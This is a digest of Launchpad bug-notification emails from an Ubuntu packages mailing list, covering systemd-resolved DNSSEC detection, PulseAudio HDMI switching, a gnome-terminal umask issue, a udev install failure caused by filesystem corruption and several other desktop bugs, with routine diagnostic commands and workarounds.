> HOW do you have DNSSEC configured. Not a yes/no question.

Actually it's exactly a "yes" in the configuration file.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1857639

Title:
  DNS server capability detection is broken and has critical
  consequences when DNSSEC is enabled

Status in systemd package in Ubuntu:
  Incomplete

Bug description:
  I'm running Ubuntu 19.10

  I'm on latest version available from repositories, systemd 242

  I'm expecting upstream DNS server capabilities being detected
  correctly and DNSSEC to keep working. Alternatively I'd expect a
  method of disabling capability checks instead of DNSSEC.

  Currently instead resolved misdetect features suddenly, stops
  resolving all together (fails closed, which is somewhat good).
  Capability reset is a very temporary fix.

  A suggested fix could be (ordered based on how nice of a solution it
  is):

  a. The capability detection is fixed
  (https://github.com/systemd/systemd/issues/9384)

  b. Force-disabling capability detection exists (this is what I also
  requested here: https://github.com/systemd/systemd/issues/14435)

  c. Patch Ubuntu version not to allow such a foot gun, update
  documentation (this is theoretically what Ubuntu could do meanwhile)

  d. Remove DNSSEC from resolved

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1857639/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1857639] Re: DNS server capability detection is broken and has critical consequences when DNSSEC is enabled

2020-01-07 Thread Dan Streetman
> Yes, DNSSEC is configured.

HOW do you have DNSSEC configured.  Not a yes/no question.

> Logs say this:

please include more than that; single lines don't help debug.  Attach
the entire syslog if you're unsure how much to paste in.

Also please paste/attach the output of:

$ systemd-resolve --status --no-pager

and

$ journalctl --no-pager -b -u systemd-resolved

I'm specifically looking for lines like this:
"Server returned error NXDOMAIN, mitigating potential DNS violation 
DVE-2018-0001"

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1857639

Title:
  DNS server capability detection is broken and has critical
  consequences when DNSSEC is enabled

Status in systemd package in Ubuntu:
  Incomplete

Bug description:
  I'm running Ubuntu 19.10

  I'm on latest version available from repositories, systemd 242

  I'm expecting upstream DNS server capabilities being detected
  correctly and DNSSEC to keep working. Alternatively I'd expect a
  method of disabling capability checks instead of DNSSEC.

  Currently instead resolved misdetect features suddenly, stops
  resolving all together (fails closed, which is somewhat good).
  Capability reset is a very temporary fix.

  A suggested fix could be (ordered based on how nice of a solution it
  is):

  a. The capability detection is fixed
  (https://github.com/systemd/systemd/issues/9384)

  b. Force-disabling capability detection exists (this is what I also
  requested here: https://github.com/systemd/systemd/issues/14435)

  c. Patch Ubuntu version not to allow such a foot gun, update
  documentation (this is theoretically what Ubuntu could do meanwhile)

  d. Remove DNSSEC from resolved

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1857639/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1857639] Re: DNS server capability detection is broken and has critical consequences when DNSSEC is enabled

2020-01-07 Thread Avamander
Removed the link to a separate issue.

** No longer affects: systemd

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1857639

Title:
  DNS server capability detection is broken and has critical
  consequences when DNSSEC is enabled

Status in systemd package in Ubuntu:
  Incomplete

Bug description:
  I'm running Ubuntu 19.10

  I'm on latest version available from repositories, systemd 242

  I'm expecting upstream DNS server capabilities being detected
  correctly and DNSSEC to keep working. Alternatively I'd expect a
  method of disabling capability checks instead of DNSSEC.

  Currently instead resolved misdetect features suddenly, stops
  resolving all together (fails closed, which is somewhat good).
  Capability reset is a very temporary fix.

  A suggested fix could be (ordered based on how nice of a solution it
  is):

  a. The capability detection is fixed
  (https://github.com/systemd/systemd/issues/9384)

  b. Force-disabling capability detection exists (this is what I also
  requested here: https://github.com/systemd/systemd/issues/14435)

  c. Patch Ubuntu version not to allow such a foot gun, update
  documentation (this is theoretically what Ubuntu could do meanwhile)

  d. Remove DNSSEC from resolved

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1857639/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1857639] Re: DNS server capability detection is broken and has critical consequences when DNSSEC is enabled

2020-01-07 Thread Avamander
Yes, DNSSEC is configured.

Logs say this:
```
Using degraded feature set (UDP+EDNS0+DO) for DNS server 192.168.1.1.
```
and then it starts to spam lines like this:
```
DNSSEC validation failed for question internetsociety.org IN A: 
incompatible-server
```

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1857639

Title:
  DNS server capability detection is broken and has critical
  consequences when DNSSEC is enabled

Status in systemd:
  New
Status in systemd package in Ubuntu:
  Incomplete

Bug description:
  I'm running Ubuntu 19.10

  I'm on latest version available from repositories, systemd 242

  I'm expecting upstream DNS server capabilities being detected
  correctly and DNSSEC to keep working. Alternatively I'd expect a
  method of disabling capability checks instead of DNSSEC.

  Currently instead resolved misdetect features suddenly, stops
  resolving all together (fails closed, which is somewhat good).
  Capability reset is a very temporary fix.

  A suggested fix could be (ordered based on how nice of a solution it
  is):

  a. The capability detection is fixed
  (https://github.com/systemd/systemd/issues/9384)

  b. Force-disabling capability detection exists (this is what I also
  requested here: https://github.com/systemd/systemd/issues/14435)

  c. Patch Ubuntu version not to allow such a foot gun, update
  documentation (this is theoretically what Ubuntu could do meanwhile)

  d. Remove DNSSEC from resolved

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1857639/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1849773] Re: /usr/bin/evince:11:strstr:TextSelectionPainter::hasGlyphLessFont:TextSelectionPainter::endPage:TextPage::drawSelection:poppler_page_render_selection

2020-01-07 Thread Mue Fom
Is there a chance that this will be fixed in Ubuntu Eoan?

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to poppler in Ubuntu.
https://bugs.launchpad.net/bugs/1849773

Title:
  
/usr/bin/evince:11:strstr:TextSelectionPainter::hasGlyphLessFont:TextSelectionPainter::endPage:TextPage::drawSelection:poppler_page_render_selection

Status in poppler package in Ubuntu:
  Fix Released
Status in poppler source package in Eoan:
  In Progress

Bug description:
  [Impact]
  Selecting text in evince crashes for some files in eoan

  [Test case]

  Open the pdf in bug 1855596 and select some text.

  [Regression potential]
  This adds a check for a null pointer before using the pointer; it's limited 
to a small function checking if a font is glyphless so there is basically no 
risk for regressio

  [Error tracker]
  The Ubuntu Error Tracker has been receiving reports about a problem regarding 
evince.  This problem was most recently seen with package version 3.34.1-1, the 
problem page at 
https://errors.ubuntu.com/problem/da5fffc9beac869c0cf863d931ef170c60bb7d93 
contains more details, including versions of packages affected, stacktrace or 
traceback, and individual crash reports.
  If you do not have access to the Ubuntu Error Tracker and are a software 
developer, you can request it at http://forms.canonical.com/reports/.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/poppler/+bug/1849773/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1857639] Re: DNS server capability detection is broken and has critical consequences when DNSSEC is enabled

2020-01-07 Thread Dan Streetman
Can you post logs from when the capability mis-detection happens?  What
indication do you have that is what's happening?  How do you have DNSSEC
configured?

** Changed in: systemd (Ubuntu)
   Status: New => Incomplete

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1857639

Title:
  DNS server capability detection is broken and has critical
  consequences when DNSSEC is enabled

Status in systemd:
  New
Status in systemd package in Ubuntu:
  Incomplete

Bug description:
  I'm running Ubuntu 19.10

  I'm on latest version available from repositories, systemd 242

  I'm expecting upstream DNS server capabilities being detected
  correctly and DNSSEC to keep working. Alternatively I'd expect a
  method of disabling capability checks instead of DNSSEC.

  Currently instead resolved misdetect features suddenly, stops
  resolving all together (fails closed, which is somewhat good).
  Capability reset is a very temporary fix.

  A suggested fix could be (ordered based on how nice of a solution it
  is):

  a. The capability detection is fixed
  (https://github.com/systemd/systemd/issues/9384)

  b. Force-disabling capability detection exists (this is what I also
  requested here: https://github.com/systemd/systemd/issues/14435)

  c. Patch Ubuntu version not to allow such a foot gun, update
  documentation (this is theoretically what Ubuntu could do meanwhile)

  d. Remove DNSSEC from resolved

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1857639/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1529152] Re: slow completion for systemd units

2020-01-07 Thread Dan Streetman
upstream commit is
https://github.com/systemd/systemd/commit/f28255e2d5695b0d060558ff8cbb2b526fc94cc0


** Also affects: systemd (Ubuntu)
   Importance: Undecided
   Status: New

** Bug watch added: github.com/systemd/systemd/issues #7185
   https://github.com/systemd/systemd/issues/7185

** Also affects: systemd via
   https://github.com/systemd/systemd/issues/7185
   Importance: Unknown
   Status: Unknown

** Also affects: bash-completion (Ubuntu Bionic)
   Importance: Undecided
   Status: New

** Also affects: systemd (Ubuntu Bionic)
   Importance: Undecided
   Status: New

** Changed in: systemd (Ubuntu)
   Status: New => Fix Released

** Changed in: systemd (Ubuntu)
   Importance: Undecided => Medium

** Changed in: systemd (Ubuntu Bionic)
   Importance: Undecided => Medium

** Changed in: bash-completion (Ubuntu)
   Status: Confirmed => Invalid

** Changed in: bash-completion (Ubuntu Bionic)
   Status: New => Invalid

** Changed in: systemd (Ubuntu)
 Assignee: (unassigned) => Dan Streetman (ddstreet)

** Changed in: systemd (Ubuntu Bionic)
 Assignee: (unassigned) => Dan Streetman (ddstreet)

** Changed in: systemd (Ubuntu Bionic)
   Status: New => In Progress

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1529152

Title:
  slow completion for systemd units

Status in systemd:
  Unknown
Status in bash-completion package in Ubuntu:
  Invalid
Status in systemd package in Ubuntu:
  Fix Released
Status in bash-completion source package in Bionic:
  Invalid
Status in systemd source package in Bionic:
  In Progress

Bug description:
  Pressing Tab after entering `sudo systemctl status
  [existing service name without .service suffix]` into console it takes
  up to 5 seconds until the auto-completion completes. Until then the
  cursor can't be moved.

  ProblemType: Bug
  DistroRelease: Ubuntu 15.10
  Package: bash-completion 1:2.1-4.1ubuntu2
  Uname: Linux 4.2.5-040205-generic x86_64
  NonfreeKernelModules: zfs zunicode zcommon znvpair zavl
  ApportVersion: 2.19.1-0ubuntu5
  Architecture: amd64
  Date: Thu Dec 24 21:04:41 2015
  InstallationDate: Installed on 2015-04-20 (248 days ago)
  InstallationMedia: Ubuntu-Server 14.10 "Utopic Unicorn" - Release amd64 
(20141022.2)
  PackageArchitecture: all
  ProcEnviron:
   TERM=screen
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=de_DE.UTF-8
   SHELL=/bin/bash
  SourcePackage: bash-completion
  UpgradeStatus: Upgraded to wily on 2015-10-26 (59 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1529152/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1685754] Re: gnome-terminal unduly forces umask=0022

2020-01-07 Thread Sven Gehr
Hello,

thanks but this setting only works in the terminal. Files or folders
created from the GUI (GEdit, Nautilus ...) do not respect this UMASK :-(

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to dbus in Ubuntu.
https://bugs.launchpad.net/bugs/1685754

Title:
  gnome-terminal unduly forces umask=0022

Status in gedit:
  Invalid
Status in gnome-session:
  New
Status in GNOME Terminal:
  Confirmed
Status in Nautilus:
  Confirmed
Status in dbus package in Ubuntu:
  Confirmed
Status in gnome-terminal package in Ubuntu:
  Confirmed

Bug description:
  In order to set the default umask of my users to 027 or 007, I
  followed the instructions provided in 'man pam_umask' :

  In the 'gecos' field of '/etc/passwd', I have inserted 'umask=027' or
  'umask=007' (for myself).

  Then, MOST graphical applications systematically run with the correct
  umask.

  In particular, when I press Alt-F2, run 'xterm sh' and type 'umask',
  it systematically displays 0007.

  But when I press Alt-F2, run 'gnome-terminal -e sh' and type 'umask',
  it systematically displays 0022.

  That is BAD, and is a security issue.

  
  Workaround :  Inside the newly created '/etc/profile.d/umask.sh', and in each 
'~/.bashrc', add following content :
  UMASK="$(grep  -o  "^$USER:.*,umask=0[0-7]*"  /etc/passwd)"
  if  [ "$UMASK" ];  then
umask  "${UMASK#$USER:*,umask=}"
  fi

  
  In fact, 'gnome-terminal' MUST NOT force umask=022, but keep umask unchanged.

  Thank you in advance for a quick correction.

  ProblemType: Bug
  DistroRelease: Ubuntu 17.04
  Package: gnome-terminal 3.20.2-1ubuntu8
  ProcVersionSignature: Ubuntu 4.10.0-19.21-generic 4.10.8
  Uname: Linux 4.10.0-19-generic x86_64
  ApportVersion: 2.20.4-0ubuntu4
  Architecture: amd64
  CurrentDesktop: X-Cinnamon
  Date: Mon Apr 24 08:36:58 2017
  InstallationDate: Installed on 2017-03-28 (26 days ago)
  InstallationMedia: Ubuntu-GNOME 17.04 "Zesty Zapus" - Beta amd64 (20170321)
  SourcePackage: gnome-terminal
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/gedit/+bug/1685754/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1847570] Re: PulseAudio automatically switches to HDMI sound output on login

2020-01-07 Thread BloodyIron
Waiting on release for Eoan :D

Thanks for getting this fixed! \o/

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pulseaudio in Ubuntu.
https://bugs.launchpad.net/bugs/1847570

Title:
  PulseAudio automatically switches to HDMI sound output on login

Status in PulseAudio:
  Fix Released
Status in pulseaudio package in Ubuntu:
  Fix Released
Status in pulseaudio source package in Eoan:
  Fix Committed
Status in pulseaudio source package in Focal:
  Fix Released

Bug description:
  [Impact]

  On my freshly installed eoan system I have two output devices:
  - HDMI/DisplayPort 2 - GK208 ...
  - Line Out - Family 17h ...

  When I login into the system pulseaudio always select the "wrong"
  one (HDMI) and I need to go to gnome-settings/Sound/Output Device
  and switch to "line out". This applies to every login/logout not
  just reboots.

  [Test Case]

  0. Plug in a monitor that supports HDMI audio (one that appears in
  your Settings>Sound)

  1. Log out and in again.

  Verify the default audio device in Settings is still speakers or
  headphones. Not the monitor's HDMI audio device.

  [Regression Potential]

  Low. The fix proposed just reverts to the same code used in PulseAudio
  12 and earlier. It has also been released and verified on focal
  already.

  [Workaround]

  Comment out:

  load-module module-switch-on-port-available
  load-module module-switch-on-connect

  from /etc/pulse/default.pa

To manage notifications about this bug go to:
https://bugs.launchpad.net/pulseaudio/+bug/1847570/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1855893] Re: Properly let PCM leave suspended state when hardware doesn't support PCM resume

2020-01-07 Thread Sebastien Bacher
** Changed in: pulseaudio (Ubuntu)
   Status: New => In Progress

** Changed in: pulseaudio (Ubuntu)
 Assignee: (unassigned) => Kai-Heng Feng (kaihengfeng)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pulseaudio in Ubuntu.
https://bugs.launchpad.net/bugs/1855893

Title:
  Properly let PCM leave suspended state when hardware doesn't support
  PCM resume

Status in HWE Next:
  New
Status in pulseaudio package in Ubuntu:
  In Progress

Bug description:
  [Impact]
  Headset Mic plugged into Dell WD19TB dock stops working after suspend/resume.

  [Fix]
  According to alia-lib's document, to make PCM properly leave suspended state, 
we only use snd_pcm_resume() if hardware support PCM resume.
  For hardware that doesn't support PCM resume, like snd-usb-audio on WD19TB 
dock, we should use snd_pcm_prepare(), snd_pcm_drop() or snd_pcm_drain() to 
make device leave suspended state. This patch defaults to use snd_pcm_drop() to 
achieve the goal.

  [Test]
  1. See if microphone on snd-usb-audio works in gnome-control-center/cheese.
  2. Suspend/resume.
  3. See if microphone still works in those apps.
  I can the issue is fixed after each suspend/resume cycle.

  [Regression Potential]
  Low. This fix makes PCM suspend/resume more reliable. No functional change 
intended. I also don't find any regression during some smoke test.

To manage notifications about this bug go to:
https://bugs.launchpad.net/hwe-next/+bug/1855893/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1858635] Re: package udev 237-3ubuntu10 failed to install/upgrade: unable to make backup link of './lib/udev/hwdb.d/20-pci-vendor-model.hwdb' before installing new version: Bad m

2020-01-07 Thread Dan Streetman
Your root filesystem appears to be on a USB device:

> [   15.028968] usb 2-2: Product: Cruzer Glide
> [   15.305140] usb 2-4: Product: Cruzer Dial
> [   16.316690] scsi 2:0:0:0: Direct-Access SanDisk  Cruzer Glide 1.00 
> PQ: 0 ANSI: 6
> [   16.317191] scsi 3:0:0:0: Direct-Access SanDisk  Cruzer Dial  1.00 
> PQ: 0 ANSI: 6

and it appears to have errors/corruption:

> [   46.226406] EXT4-fs (sda5): warning: mounting unchecked fs, running e2fsck 
> is recommended
> [   46.228019] EXT4-fs (sda5): mounted filesystem without journal. Opts: 
> (null)
> [   53.635758] EXT4-fs error (device sda5): ext4_lookup:1575: inode #395022: 
> comm chown: deleted inode referenced: 397205
> [   54.128882] EXT4-fs error (device sda5): ext4_lookup:1575: inode #395022: 
> comm chown: deleted inode referenced: 397205

> [  349.148103] EXT4-fs (sda5): error count since last fsck: 35
> [  349.148151] EXT4-fs (sda5): initial error at time 1294088651: 
> ext4_lookup:1575: inode 395022
> [  349.148160] EXT4-fs (sda5): last error at time 1578394517: 
> ext4_lookup:1575: inode 395022

> [ 2718.532458] EXT4-fs (sda5): Delayed block allocation failed for inode 
> 395070 at logical offset 42 with max blocks 1 with error 74
> [ 2718.532470] EXT4-fs (sda5): This should not happen!! Data will be lost

this is almost certainly the cause of any further errors; you need to,
at minimum, fsck your filesystem, but that still may not solve
everything if further errors have been introduced into package files due
to the filesystem corruption.

Using a USB drive for root filesystem can be dangerous, since if you
remove the USB device it can easily corrupt the filesystem (and break
your system, of course).  Also you seem to not be using a ext4 journal,
which makes the filesystem unable to try recovery from the journal.

In any case, this isn't a bug, this is a problem with your system.

** Changed in: systemd (Ubuntu)
   Status: New => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1858635

Title:
  package udev 237-3ubuntu10 failed to install/upgrade: unable to make
  backup link of './lib/udev/hwdb.d/20-pci-vendor-model.hwdb' before
  installing new version: Bad message

Status in systemd package in Ubuntu:
  Invalid

Bug description:
  i dont know much aboiut qhat happened since im new to this whole thing

  ProblemType: Package
  DistroRelease: Ubuntu 18.04
  Package: udev 237-3ubuntu10
  ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17
  Uname: Linux 4.15.0-20-generic x86_64
  ApportVersion: 2.20.9-0ubuntu7
  Architecture: amd64
  CasperVersion: 1.394
  Date: Tue Jan  7 03:53:37 2020
  DuplicateSignature:
   package:udev:237-3ubuntu10
   Unpacking udev (237-3ubuntu10.33) over (237-3ubuntu10) ...
   dpkg: error processing archive 
/tmp/apt-dpkg-install-h0PZ8X/1-udev_237-3ubuntu10.33_amd64.deb (--unpack):
unable to make backup link of './lib/udev/hwdb.d/20-pci-vendor-model.hwdb' 
before installing new version: Bad message
  ErrorMessage: unable to make backup link of 
'./lib/udev/hwdb.d/20-pci-vendor-model.hwdb' before installing new version: Bad 
message
  LiveMediaBuild: Lubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426)
  MachineType: Dell Inc. Latitude E5550
  ProcKernelCmdLine: BOOT_IMAGE=(hd0,4)/casper/vmlinuz boot=casper quiet splash 
toram persistent --
  Python3Details: /usr/bin/python3.6, Python 3.6.5, python3-minimal, 3.6.5-3
  PythonDetails: /usr/bin/python2.7, Python 2.7.15rc1, python-minimal, 
2.7.15~rc1-1
  RelatedPackageVersions:
   dpkg 1.19.0.5ubuntu2.3
   apt  1.6.1
  SourcePackage: systemd
  Title: package udev 237-3ubuntu10 failed to install/upgrade: unable to make 
backup link of './lib/udev/hwdb.d/20-pci-vendor-model.hwdb' before installing 
new version: Bad message
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 10/30/2014
  dmi.bios.vendor: Dell Inc.
  dmi.bios.version: A03
  dmi.board.name: 0DG7XK
  dmi.board.vendor: Dell Inc.
  dmi.board.version: A00
  dmi.chassis.type: 9
  dmi.chassis.vendor: Dell Inc.
  dmi.modalias: 
dmi:bvnDellInc.:bvrA03:bd10/30/2014:svnDellInc.:pnLatitudeE5550:pvr01:rvnDellInc.:rn0DG7XK:rvrA00:cvnDellInc.:ct9:cvr:
  dmi.product.name: Latitude E5550
  dmi.product.version: 01
  dmi.sys.vendor: Dell Inc.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1858635/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1766503] Re: ibus-* randomly use high CPU

2020-01-07 Thread Bruno Lustosa
Although not using Ubuntu directly, I am using Mint, which is based on it (Tina 
- 19.2, based on Bionic, MATE edition). Might be the same problem. If not 
applicable, then please ignore my comment.
I can reproduce this in all machines I have, in a few simple steps:

1-Open a terminal and leave 'top' open to check the processes;
2-Open 'xed'
3-Press shift inside of xed
4-Look at the terminal running top
5-To make it stop using 100% cpu, simply change focus to any window other than 
xed (the terminal, for example).

This happens everytime, and is really annoying. If I try to copy text (ctrl-c), 
it triggers the bug as well, and forces me to change focus to have the system 
become usable again.
I have attached a screenshot of my top output while the bug is happening. 
Before triggering it, all processes were running below 1% according to top.

** Attachment added: "Screenshot at 2020-01-07 11-15-44.png"
   
https://bugs.launchpad.net/ubuntu/+source/ibus/+bug/1766503/+attachment/5318215/+files/Screenshot%20at%202020-01-07%2011-15-44.png

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ibus in Ubuntu.
https://bugs.launchpad.net/bugs/1766503

Title:
  ibus-* randomly use high CPU

Status in The Ubuntu Power Consumption Project:
  Confirmed
Status in ibus package in Ubuntu:
  Confirmed

Bug description:
  ibus-* randomly use high CPU in Ubuntu 18.04

  In fact, I think it's now using more CPU overall than the shell itself
  is to redraw a 4K screen:

PID USER  PR  NIVIRTRESSHR S  %CPU %MEM TIME+ COMMAND   
  
   3308 dan   20   0 4009804 192676  84804 R  45.7  2.4   1:13.65 
gnome-shell 
   3352 dan   20   0  384364  26796  20552 S  13.9  0.3   0:22.81 ibus-x11  
  
   3372 dan   20   0  217944  10620   7764 S  10.9  0.1   0:16.20 
ibus-engin+ 
   3350 dan   20   0  293828  10384   7516 R  10.6  0.1   0:16.54 
ibus-dconf  
   3346 dan   20   0  374572  11944   8268 S  10.3  0.1   0:15.93 
ibus-daemon

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: ibus 1.5.17-3ubuntu4
  ProcVersionSignature: Ubuntu 4.15.0-19.20-generic 4.15.17
  Uname: Linux 4.15.0-19-generic x86_64
  ApportVersion: 2.20.9-0ubuntu6
  Architecture: amd64
  Date: Tue Apr 24 15:29:07 2018
  InstallationDate: Installed on 2017-12-12 (133 days ago)
  InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20171211)
  SourcePackage: ibus
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu-power-consumption/+bug/1766503/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1858092] Re: Network Manager not saving OpenVPN password

2020-01-07 Thread Jose Manuel Santamaria Lema
This bug also affects focal, it's a network-manager bug fixed in 1.20.6
which we could patch in the packaging while we don't have the .6
package.

Attaching debdiff for focal...

** Patch added: "network-manager_1.20.4-2ubuntu4.debdiff"
   
https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/1858092/+attachment/5318191/+files/network-manager_1.20.4-2ubuntu4.debdiff

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to network-manager in Ubuntu.
https://bugs.launchpad.net/bugs/1858092

Title:
  Network Manager not saving OpenVPN password

Status in network-manager package in Ubuntu:
  Confirmed

Bug description:
  Hi everyone,

  After upgrading to kubuntu 19.10 I can't save the VPN password using Store 
password for this user only. It seems the integration with the kwallet is 
failing somehow...
  The system logs seem to show that everything went ok, but the password is not 
saved:
  jan 02 11:40:40 NetworkManager[5530]:  [1577965240.2166] audit: 
op="connection-update" uuid="4c05-911a-1d9161f05a19" name="ovpn" 
args="vpn.secrets" pid=14142 uid=1000 result="success"

  This also happens with a clean install.

  Operating System: Kubuntu 19.10
  KDE Plasma Version: 5.16.5
  KDE Frameworks Version: 5.62.0
  Qt Version: 5.12.4
  Kernel Version: 5.3.0-24-generic
  OS Type: 64-bit

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/1858092/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1858092] Re: Network Manager not saving OpenVPN password

2020-01-07 Thread Ubuntu Foundations Team Bug Bot
The attachment "network-manager_1.20.4-2ubuntu4.debdiff" seems to be a
debdiff.  The ubuntu-sponsors team has been subscribed to the bug report
so that they can review and hopefully sponsor the debdiff.  If the
attachment isn't a patch, please remove the "patch" flag from the
attachment, remove the "patch" tag, and if you are member of the
~ubuntu-sponsors, unsubscribe the team.

[This is an automated message performed by a Launchpad user owned by
~brian-murray, for any issue please contact him.]

** Tags added: patch

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to network-manager in Ubuntu.
https://bugs.launchpad.net/bugs/1858092

Title:
  Network Manager not saving OpenVPN password

Status in network-manager package in Ubuntu:
  Confirmed

Bug description:
  Hi everyone,

  After upgrading to kubuntu 19.10 I can't save the VPN password using Store 
password for this user only. It seems the integration with the kwallet is 
failing somehow...
  The system logs seem to show that everything went ok, but the password is not 
saved:
  jan 02 11:40:40 NetworkManager[5530]:  [1577965240.2166] audit: 
op="connection-update" uuid="4c05-911a-1d9161f05a19" name="ovpn" 
args="vpn.secrets" pid=14142 uid=1000 result="success"

  This also happens with a clean install.

  Operating System: Kubuntu 19.10
  KDE Plasma Version: 5.16.5
  KDE Frameworks Version: 5.62.0
  Qt Version: 5.12.4
  Kernel Version: 5.3.0-24-generic
  OS Type: 64-bit

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/1858092/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1798400]

2020-01-07 Thread Kilasa4010
Can confirm that my samsung galaxy running Android 9 and linux mint 19.3
are still not working appropriately with the impress remote. It refuses
to connect via bluetooth no matter what I do.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to bluez in Ubuntu.
https://bugs.launchpad.net/bugs/1798400

Title:
  [upstream] Regression: cannot use impress remote over bluetooth with
  ubuntu bionic

Status in LibreOffice:
  Confirmed
Status in bluez package in Ubuntu:
  Confirmed
Status in libreoffice package in Ubuntu:
  Confirmed
Status in linux package in Ubuntu:
  Confirmed
Status in libreoffice package in Fedora:
  Unknown

Bug description:
  Trying to use the impress remote
  (https://wiki.documentfoundation.org/Impress_Remote) over bluetooth
  with libreoffice over ubuntu bionic fails.

  The handset errors out that it cannot connect with Libreoffice on the
  computer even if the bluetooth adapter on the handset and on the
  computer are correctly paired.

  This does not seem to be an issue in the Libreoffice or in the impress
  remote code:

  - I have tested also past LibO versions
  - The Impress remote codebase has not changed recently

  This used to work on the same hardware (headset and laptop) with
  ubuntu 16.04.

  Hence the issue seems to be in a regression in the ubuntu bluetooth
  stack.

  To replicate:

  1) Install Libreoffice on Ubuntu bionic (either from the ubuntu repo
  or with the deb packages from the document fundation)

